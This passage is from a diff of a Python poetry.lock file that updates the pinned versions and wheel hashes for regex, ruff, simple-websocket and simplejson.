+ {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:00ba3c9818e33f1fa974693fb55d24cdc8ebafcb2e4207680669d8f8d7cca79a"},
+ {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f0a47efb1dbef13af9c9a54a94a0b814902e547b7f21acb29434504d18f36e3a"},
+ {file = "regex-2023.10.3-cp310-cp310-win32.whl", hash = "sha256:36362386b813fa6c9146da6149a001b7bd063dabc4d49522a1f7aa65b725c7ec"},
+ {file = "regex-2023.10.3-cp310-cp310-win_amd64.whl", hash = "sha256:c65a3b5330b54103e7d21cac3f6bf3900d46f6d50138d73343d9e5b2900b2353"},
+ {file = "regex-2023.10.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:90a79bce019c442604662d17bf69df99090e24cdc6ad95b18b6725c2988a490e"},
+ {file = "regex-2023.10.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c7964c2183c3e6cce3f497e3a9f49d182e969f2dc3aeeadfa18945ff7bdd7051"},
+ {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ef80829117a8061f974b2fda8ec799717242353bff55f8a29411794d635d964"},
+ {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5addc9d0209a9afca5fc070f93b726bf7003bd63a427f65ef797a931782e7edc"},
+ {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c148bec483cc4b421562b4bcedb8e28a3b84fcc8f0aa4418e10898f3c2c0eb9b"},
+ {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d1f21af4c1539051049796a0f50aa342f9a27cde57318f2fc41ed50b0dbc4ac"},
+ {file = "regex-2023.10.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0b9ac09853b2a3e0d0082104036579809679e7715671cfbf89d83c1cb2a30f58"},
+ {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ebedc192abbc7fd13c5ee800e83a6df252bec691eb2c4bedc9f8b2e2903f5e2a"},
+ {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d8a993c0a0ffd5f2d3bda23d0cd75e7086736f8f8268de8a82fbc4bd0ac6791e"},
+ {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:be6b7b8d42d3090b6c80793524fa66c57ad7ee3fe9722b258aec6d0672543fd0"},
+ {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4023e2efc35a30e66e938de5aef42b520c20e7eda7bb5fb12c35e5d09a4c43f6"},
+ {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:0d47840dc05e0ba04fe2e26f15126de7c755496d5a8aae4a08bda4dd8d646c54"},
+ {file = "regex-2023.10.3-cp311-cp311-win32.whl", hash = "sha256:9145f092b5d1977ec8c0ab46e7b3381b2fd069957b9862a43bd383e5c01d18c2"},
+ {file = "regex-2023.10.3-cp311-cp311-win_amd64.whl", hash = "sha256:b6104f9a46bd8743e4f738afef69b153c4b8b592d35ae46db07fc28ae3d5fb7c"},
+ {file = "regex-2023.10.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:bff507ae210371d4b1fe316d03433ac099f184d570a1a611e541923f78f05037"},
+ {file = "regex-2023.10.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:be5e22bbb67924dea15039c3282fa4cc6cdfbe0cbbd1c0515f9223186fc2ec5f"},
+ {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a992f702c9be9c72fa46f01ca6e18d131906a7180950958f766c2aa294d4b41"},
+ {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7434a61b158be563c1362d9071358f8ab91b8d928728cd2882af060481244c9e"},
+ {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c2169b2dcabf4e608416f7f9468737583ce5f0a6e8677c4efbf795ce81109d7c"},
+ {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9e908ef5889cda4de038892b9accc36d33d72fb3e12c747e2799a0e806ec841"},
+ {file = "regex-2023.10.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12bd4bc2c632742c7ce20db48e0d99afdc05e03f0b4c1af90542e05b809a03d9"},
+ {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:bc72c231f5449d86d6c7d9cc7cd819b6eb30134bb770b8cfdc0765e48ef9c420"},
+ {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:bce8814b076f0ce5766dc87d5a056b0e9437b8e0cd351b9a6c4e1134a7dfbda9"},
+ {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:ba7cd6dc4d585ea544c1412019921570ebd8a597fabf475acc4528210d7c4a6f"},
+ {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b0c7d2f698e83f15228ba41c135501cfe7d5740181d5903e250e47f617eb4292"},
+ {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:5a8f91c64f390ecee09ff793319f30a0f32492e99f5dc1c72bc361f23ccd0a9a"},
+ {file = "regex-2023.10.3-cp312-cp312-win32.whl", hash = "sha256:ad08a69728ff3c79866d729b095872afe1e0557251da4abb2c5faff15a91d19a"},
+ {file = "regex-2023.10.3-cp312-cp312-win_amd64.whl", hash = "sha256:39cdf8d141d6d44e8d5a12a8569d5a227f645c87df4f92179bd06e2e2705e76b"},
+ {file = "regex-2023.10.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4a3ee019a9befe84fa3e917a2dd378807e423d013377a884c1970a3c2792d293"},
+ {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76066d7ff61ba6bf3cb5efe2428fc82aac91802844c022d849a1f0f53820502d"},
+ {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfe50b61bab1b1ec260fa7cd91106fa9fece57e6beba05630afe27c71259c59b"},
+ {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fd88f373cb71e6b59b7fa597e47e518282455c2734fd4306a05ca219a1991b0"},
+ {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3ab05a182c7937fb374f7e946f04fb23a0c0699c0450e9fb02ef567412d2fa3"},
+ {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dac37cf08fcf2094159922edc7a2784cfcc5c70f8354469f79ed085f0328ebdf"},
+ {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e54ddd0bb8fb626aa1f9ba7b36629564544954fff9669b15da3610c22b9a0991"},
+ {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3367007ad1951fde612bf65b0dffc8fd681a4ab98ac86957d16491400d661302"},
+ {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:16f8740eb6dbacc7113e3097b0a36065a02e37b47c936b551805d40340fb9971"},
+ {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:f4f2ca6df64cbdd27f27b34f35adb640b5d2d77264228554e68deda54456eb11"},
+ {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:39807cbcbe406efca2a233884e169d056c35aa7e9f343d4e78665246a332f597"},
+ {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:7eece6fbd3eae4a92d7c748ae825cbc1ee41a89bb1c3db05b5578ed3cfcfd7cb"},
+ {file = "regex-2023.10.3-cp37-cp37m-win32.whl", hash = "sha256:ce615c92d90df8373d9e13acddd154152645c0dc060871abf6bd43809673d20a"},
+ {file = "regex-2023.10.3-cp37-cp37m-win_amd64.whl", hash = "sha256:0f649fa32fe734c4abdfd4edbb8381c74abf5f34bc0b3271ce687b23729299ed"},
+ {file = "regex-2023.10.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:9b98b7681a9437262947f41c7fac567c7e1f6eddd94b0483596d320092004533"},
+ {file = "regex-2023.10.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:91dc1d531f80c862441d7b66c4505cd6ea9d312f01fb2f4654f40c6fdf5cc37a"},
+ {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82fcc1f1cc3ff1ab8a57ba619b149b907072e750815c5ba63e7aa2e1163384a4"},
+ {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7979b834ec7a33aafae34a90aad9f914c41fd6eaa8474e66953f3f6f7cbd4368"},
+ {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ef71561f82a89af6cfcbee47f0fabfdb6e63788a9258e913955d89fdd96902ab"},
+ {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd829712de97753367153ed84f2de752b86cd1f7a88b55a3a775eb52eafe8a94"},
+ {file = "regex-2023.10.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:00e871d83a45eee2f8688d7e6849609c2ca2a04a6d48fba3dff4deef35d14f07"},
+ {file = "regex-2023.10.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:706e7b739fdd17cb89e1fbf712d9dc21311fc2333f6d435eac2d4ee81985098c"},
+ {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:cc3f1c053b73f20c7ad88b0d1d23be7e7b3901229ce89f5000a8399746a6e039"},
+ {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:6f85739e80d13644b981a88f529d79c5bdf646b460ba190bffcaf6d57b2a9863"},
+ {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:741ba2f511cc9626b7561a440f87d658aabb3d6b744a86a3c025f866b4d19e7f"},
+ {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e77c90ab5997e85901da85131fd36acd0ed2221368199b65f0d11bca44549711"},
+ {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:979c24cbefaf2420c4e377ecd1f165ea08cc3d1fbb44bdc51bccbbf7c66a2cb4"},
+ {file = "regex-2023.10.3-cp38-cp38-win32.whl", hash = "sha256:58837f9d221744d4c92d2cf7201c6acd19623b50c643b56992cbd2b745485d3d"},
+ {file = "regex-2023.10.3-cp38-cp38-win_amd64.whl", hash = "sha256:c55853684fe08d4897c37dfc5faeff70607a5f1806c8be148f1695be4a63414b"},
+ {file = "regex-2023.10.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2c54e23836650bdf2c18222c87f6f840d4943944146ca479858404fedeb9f9af"},
+ {file = "regex-2023.10.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:69c0771ca5653c7d4b65203cbfc5e66db9375f1078689459fe196fe08b7b4930"},
+ {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ac965a998e1388e6ff2e9781f499ad1eaa41e962a40d11c7823c9952c77123e"},
+ {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1c0e8fae5b27caa34177bdfa5a960c46ff2f78ee2d45c6db15ae3f64ecadde14"},
+ {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6c56c3d47da04f921b73ff9415fbaa939f684d47293f071aa9cbb13c94afc17d"},
+ {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ef1e014eed78ab650bef9a6a9cbe50b052c0aebe553fb2881e0453717573f52"},
+ {file = "regex-2023.10.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d29338556a59423d9ff7b6eb0cb89ead2b0875e08fe522f3e068b955c3e7b59b"},
+ {file = "regex-2023.10.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:9c6d0ced3c06d0f183b73d3c5920727268d2201aa0fe6d55c60d68c792ff3588"},
+ {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:994645a46c6a740ee8ce8df7911d4aee458d9b1bc5639bc968226763d07f00fa"},
+ {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:66e2fe786ef28da2b28e222c89502b2af984858091675044d93cb50e6f46d7af"},
+ {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:11175910f62b2b8c055f2b089e0fedd694fe2be3941b3e2633653bc51064c528"},
+ {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:06e9abc0e4c9ab4779c74ad99c3fc10d3967d03114449acc2c2762ad4472b8ca"},
+ {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:fb02e4257376ae25c6dd95a5aec377f9b18c09be6ebdefa7ad209b9137b73d48"},
+ {file = "regex-2023.10.3-cp39-cp39-win32.whl", hash = "sha256:3b2c3502603fab52d7619b882c25a6850b766ebd1b18de3df23b2f939360e1bd"},
+ {file = "regex-2023.10.3-cp39-cp39-win_amd64.whl", hash = "sha256:adbccd17dcaff65704c856bd29951c58a1bd4b2b0f8ad6b826dbd543fe740988"},
+ {file = "regex-2023.10.3.tar.gz", hash = "sha256:3fef4f844d2290ee0ba57addcec17eec9e3df73f10a2748485dfd6a3a188cc0f"},
]
[[package]]
@@ -2276,28 +2379,28 @@ pyasn1 = ">=0.1.3"
[[package]]
name = "ruff"
-version = "0.0.283"
-description = "An extremely fast Python linter, written in Rust."
+version = "0.1.4"
+description = "An extremely fast Python linter and code formatter, written in Rust."
optional = false
python-versions = ">=3.7"
files = [
- {file = "ruff-0.0.283-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:d59615628b43c40b8335af0fafd544b3a09e9891829461fa2eb0d67f00570df5"},
- {file = "ruff-0.0.283-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:742d3c09bb4272d92fcd0a01a203d837488060280c28a42461e166226651a12a"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:03622378270a37c61bb0f430c29f41bdf0699e8791d0d7548ad5745c737723fb"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a4d36f0b3beecc01b50933795da718347ee442afa14cced5a60afe20e8335d24"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d21b29dc63d8ec246207dd7115ec39814ca74ee0f0f7b261aa82fb9c1cd8dfcf"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:fe095f2c3e8e557f2709945d611efd476b3eb39bdec5b258b2f88cfb8b5d136d"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b773f1dc57e642f707ee0e8bd68a0bc5ec95441367166a276e5dfdf88b21e1bf"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d539c73e207a13a915bde6c52ae8b2beb0b00c3b975e9e5d808fe288ea354a72"},
- {file = "ruff-0.0.283-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e43d3ab5c0bdb7b7a045411773b18ed115f0590a30c8d267c484393c6b0486ba"},
- {file = "ruff-0.0.283-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c5d72c97daa72f8914bf1b0c0ae4dbffc999e1945c291fa2d37c02ee4fa7f398"},
- {file = "ruff-0.0.283-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:c32eb49ecf190a7bec0305270c864f796b362027b39a7d49c6fb120ea75e7b52"},
- {file = "ruff-0.0.283-py3-none-musllinux_1_2_i686.whl", hash = "sha256:b1eae6990b078883c0cae60f1df0c31d2071f20afcec285baa363b9b6f7321cf"},
- {file = "ruff-0.0.283-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ad5a3042cbae1b82c3c953be77181a0934a6b02ba476fec4f177eb9c297e19ed"},
- {file = "ruff-0.0.283-py3-none-win32.whl", hash = "sha256:bd64f9775d96f35a236980ac98ed50fb5c755b227845612a873ad4f247c0cf8d"},
- {file = "ruff-0.0.283-py3-none-win_amd64.whl", hash = "sha256:28e3545ff24ae44e13da2b8fc706dd62a374cc74e4f5c1fbc8bc071ab0cc309f"},
- {file = "ruff-0.0.283-py3-none-win_arm64.whl", hash = "sha256:28732d956171f493b45c096d27f015e34fde065414330b68d59efcd0f3f67d5d"},
- {file = "ruff-0.0.283.tar.gz", hash = "sha256:6ee6928ad7b6b2b103d3b41517ff252cb81506dacbef01bab31fcfd0de39c5bb"},
+ {file = "ruff-0.1.4-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:864958706b669cce31d629902175138ad8a069d99ca53514611521f532d91495"},
+ {file = "ruff-0.1.4-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:9fdd61883bb34317c788af87f4cd75dfee3a73f5ded714b77ba928e418d6e39e"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4eaca8c9cc39aa7f0f0d7b8fe24ecb51232d1bb620fc4441a61161be4a17539"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9a1301dc43cbf633fb603242bccd0aaa34834750a14a4c1817e2e5c8d60de17"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78e8db8ab6f100f02e28b3d713270c857d370b8d61871d5c7d1702ae411df683"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:80fea754eaae06335784b8ea053d6eb8e9aac75359ebddd6fee0858e87c8d510"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6bc02a480d4bfffd163a723698da15d1a9aec2fced4c06f2a753f87f4ce6969c"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9862811b403063765b03e716dac0fda8fdbe78b675cd947ed5873506448acea4"},
+ {file = "ruff-0.1.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58826efb8b3efbb59bb306f4b19640b7e366967a31c049d49311d9eb3a4c60cb"},
+ {file = "ruff-0.1.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fdfd453fc91d9d86d6aaa33b1bafa69d114cf7421057868f0b79104079d3e66e"},
+ {file = "ruff-0.1.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e8791482d508bd0b36c76481ad3117987301b86072158bdb69d796503e1c84a8"},
+ {file = "ruff-0.1.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01206e361021426e3c1b7fba06ddcb20dbc5037d64f6841e5f2b21084dc51800"},
+ {file = "ruff-0.1.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:645591a613a42cb7e5c2b667cbefd3877b21e0252b59272ba7212c3d35a5819f"},
+ {file = "ruff-0.1.4-py3-none-win32.whl", hash = "sha256:99908ca2b3b85bffe7e1414275d004917d1e0dfc99d497ccd2ecd19ad115fd0d"},
+ {file = "ruff-0.1.4-py3-none-win_amd64.whl", hash = "sha256:1dfd6bf8f6ad0a4ac99333f437e0ec168989adc5d837ecd38ddb2cc4a2e3db8a"},
+ {file = "ruff-0.1.4-py3-none-win_arm64.whl", hash = "sha256:d98ae9ebf56444e18a3e3652b3383204748f73e247dea6caaf8b52d37e6b32da"},
+ {file = "ruff-0.1.4.tar.gz", hash = "sha256:21520ecca4cc555162068d87c747b8f95e1e95f8ecfcbbe59e8dd00710586315"},
]
[[package]]
@@ -2342,110 +2445,126 @@ testing-integration = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "jar
[[package]]
name = "simple-websocket"
-version = "0.10.1"
+version = "1.0.0"
description = "Simple WebSocket server and client for Python"
optional = false
python-versions = ">=3.6"
files = [
- {file = "simple-websocket-0.10.1.tar.gz", hash = "sha256:0ab46c8ffa51a46dc95eed94608b3b722841c0bf849def71d465c5c356679c82"},
- {file = "simple_websocket-0.10.1-py3-none-any.whl", hash = "sha256:62c36bacfd75cc867927bb39d91951342a7234bdfe20f41dd969a3b8bb1413b7"},
+ {file = "simple-websocket-1.0.0.tar.gz", hash = "sha256:17d2c72f4a2bd85174a97e3e4c88b01c40c3f81b7b648b0cc3ce1305968928c8"},
+ {file = "simple_websocket-1.0.0-py3-none-any.whl", hash = "sha256:1d5bf585e415eaa2083e2bcf02a3ecf91f9712e7b3e6b9fa0b461ad04e0837bc"},
]
[package.dependencies]
wsproto = "*"
+[package.extras]
+docs = ["sphinx"]
+
[[package]]
name = "simplejson"
-version = "3.19.1"
+version = "3.19.2"
description = "Simple, fast, extensible JSON encoder/decoder for Python"
optional = false
python-versions = ">=2.5, !=3.0.*, !=3.1.*, !=3.2.*"
files = [
- {file = "simplejson-3.19.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:412e58997a30c5deb8cab5858b8e2e5b40ca007079f7010ee74565cc13d19665"},
- {file = "simplejson-3.19.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e765b1f47293dedf77946f0427e03ee45def2862edacd8868c6cf9ab97c8afbd"},
- {file = "simplejson-3.19.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:3231100edee292da78948fa0a77dee4e5a94a0a60bcba9ed7a9dc77f4d4bb11e"},
- {file = "simplejson-3.19.1-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:081ea6305b3b5e84ae7417e7f45956db5ea3872ec497a584ec86c3260cda049e"},
- {file = "simplejson-3.19.1-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:f253edf694ce836631b350d758d00a8c4011243d58318fbfbe0dd54a6a839ab4"},
- {file = "simplejson-3.19.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:5db86bb82034e055257c8e45228ca3dbce85e38d7bfa84fa7b2838e032a3219c"},
- {file = "simplejson-3.19.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:69a8b10a4f81548bc1e06ded0c4a6c9042c0be0d947c53c1ed89703f7e613950"},
- {file = "simplejson-3.19.1-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:58ee5e24d6863b22194020eb62673cf8cc69945fcad6b283919490f6e359f7c5"},
- {file = "simplejson-3.19.1-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:73d0904c2471f317386d4ae5c665b16b5c50ab4f3ee7fd3d3b7651e564ad74b1"},
- {file = "simplejson-3.19.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:66d780047c31ff316ee305c3f7550f352d87257c756413632303fc59fef19eac"},
- {file = "simplejson-3.19.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:cd4d50a27b065447c9c399f0bf0a993bd0e6308db8bbbfbc3ea03b41c145775a"},
- {file = "simplejson-3.19.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0c16ec6a67a5f66ab004190829eeede01c633936375edcad7cbf06d3241e5865"},
- {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:17a963e8dd4d81061cc05b627677c1f6a12e81345111fbdc5708c9f088d752c9"},
- {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7e78d79b10aa92f40f54178ada2b635c960d24fc6141856b926d82f67e56d169"},
- {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ad071cd84a636195f35fa71de2186d717db775f94f985232775794d09f8d9061"},
- {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e7c70f19405e5f99168077b785fe15fcb5f9b3c0b70b0b5c2757ce294922c8c"},
- {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54fca2b26bcd1c403146fd9461d1da76199442297160721b1d63def2a1b17799"},
- {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:48600a6e0032bed17c20319d91775f1797d39953ccfd68c27f83c8d7fc3b32cb"},
- {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:93f5ac30607157a0b2579af59a065bcfaa7fadeb4875bf927a8f8b6739c8d910"},
- {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b79642a599740603ca86cf9df54f57a2013c47e1dd4dd2ae4769af0a6816900"},
- {file = "simplejson-3.19.1-cp310-cp310-win32.whl", hash = "sha256:d9f2c27f18a0b94107d57294aab3d06d6046ea843ed4a45cae8bd45756749f3a"},
- {file = "simplejson-3.19.1-cp310-cp310-win_amd64.whl", hash = "sha256:5673d27806085d2a413b3be5f85fad6fca4b7ffd31cfe510bbe65eea52fff571"},
- {file = "simplejson-3.19.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:79c748aa61fd8098d0472e776743de20fae2686edb80a24f0f6593a77f74fe86"},
- {file = "simplejson-3.19.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:390f4a8ca61d90bcf806c3ad644e05fa5890f5b9a72abdd4ca8430cdc1e386fa"},
- {file = "simplejson-3.19.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d61482b5d18181e6bb4810b4a6a24c63a490c3a20e9fbd7876639653e2b30a1a"},
- {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2541fdb7467ef9bfad1f55b6c52e8ea52b3ce4a0027d37aff094190a955daa9d"},
- {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46133bc7dd45c9953e6ee4852e3de3d5a9a4a03b068bd238935a5c72f0a1ce34"},
- {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f96def94576f857abf58e031ce881b5a3fc25cbec64b2bc4824824a8a4367af9"},
- {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f14ecca970d825df0d29d5c6736ff27999ee7bdf5510e807f7ad8845f7760ce"},
- {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:66389b6b6ee46a94a493a933a26008a1bae0cfadeca176933e7ff6556c0ce998"},
- {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:22b867205cd258050c2625325fdd9a65f917a5aff22a23387e245ecae4098e78"},
- {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:c39fa911e4302eb79c804b221ddec775c3da08833c0a9120041dd322789824de"},
- {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:65dafe413b15e8895ad42e49210b74a955c9ae65564952b0243a18fb35b986cc"},
- {file = "simplejson-3.19.1-cp311-cp311-win32.whl", hash = "sha256:f05d05d99fce5537d8f7a0af6417a9afa9af3a6c4bb1ba7359c53b6257625fcb"},
- {file = "simplejson-3.19.1-cp311-cp311-win_amd64.whl", hash = "sha256:b46aaf0332a8a9c965310058cf3487d705bf672641d2c43a835625b326689cf4"},
